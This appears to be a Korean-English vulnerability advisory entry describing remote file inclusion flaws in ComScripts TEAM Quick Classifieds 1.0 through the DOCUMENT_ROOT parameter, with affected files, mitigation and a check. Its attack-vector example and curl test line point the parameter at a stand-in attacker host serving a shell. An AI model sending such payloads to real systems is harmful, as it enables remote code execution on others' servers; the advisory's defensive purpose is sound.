🇰🇷 한글 설명
ComScripts TEAM Quick Classifieds 1.0 소프트웨어의 DOCUMENT_ROOT 파라미터를 통한 원격 파일 포함(RFI) 취약점입니다. 다수의 PHP 파일에서 입력값을 적절히 검증하지 않아 공격자가 악의적인 원격 파일을 포함시킬 수 있습니다.
💡 쉬운 설명
악의적인 공격자가 웹사이트에 자신의 악성 파일을 불러오도록 강제할 수 있는 취약점입니다. 이를 통해 웹사이트를 해킹하거나 방문자의 정보를 탈취할 수 있습니다.
🇺🇸 원문 (English)
Multiple PHP remote file inclusion vulnerabilities in ComScripts TEAM Quick Classifieds 1.0 via the DOCUMENT_ROOT parameter to (1) index.php3, (2) locate.php3, (3) search_results.php3, (4) classifieds/index.php3, and (5) classifieds/view.php3; (6) index.php3, (7) manager.php3, (8) pass.php3, (9) remember.php3 (10) sign-up.php3, (11) update.php3, (12) userSet.php3, and (13) verify.php3 in controlcenter/; (14) alterCats.php3, (15) alterFeatured.php3, (16) alterHomepage.php3, (17) alterNews.php3, (18) alterTheme.php3, (19) color_help.php3, (20) createdb.php3, (21) createFeatured.php3, (22) createHomepage.php3, (23) createL.php3, (24) createM.php3, (25) createNews.php3, (26) createP.php3, (27) createS.php3, (28) createT.php3, (29) index.php3, (30) mailadmin.php3, and (31) setUp.php3 in controlpannel/; (32) include/sendit.php3 and (33) include/sendit2.php3; and possibly (34) include/adminHead.inc, (35) include/usersHead.inc, and (36) style/default.scheme.inc.
📍 영향받는 시스템
ComScripts TEAM Quick Classifieds 1.0
⚔️ 공격 벡터
DOCUMENT_ROOT 파라미터에 원격 파일 경로를 전달하여 악성 PHP 파일을 실행 (예: ?DOCUMENT_ROOT=http://attacker.com/shell.php)
🛡️ 대응 방법
ComScripts TEAM Quick Classifieds를 최신 버전으로 업그레이드하거나 입력값 검증 및 화이트리스트 기반 경로 검사를 구현하여 원격 파일 포함을 방지합니다.
🔧 검증 코드
원격 파일 포함이 시도되었을 때 경고나 오류 메시지가 나타나면 취약점이 있을 가능성이 높습니다.
curl -s 'http://target/index.php3?DOCUMENT_ROOT=http://attacker.com/' | grep -i 'warning\|error\|failed' && echo 'Vulnerable' || echo 'Check response'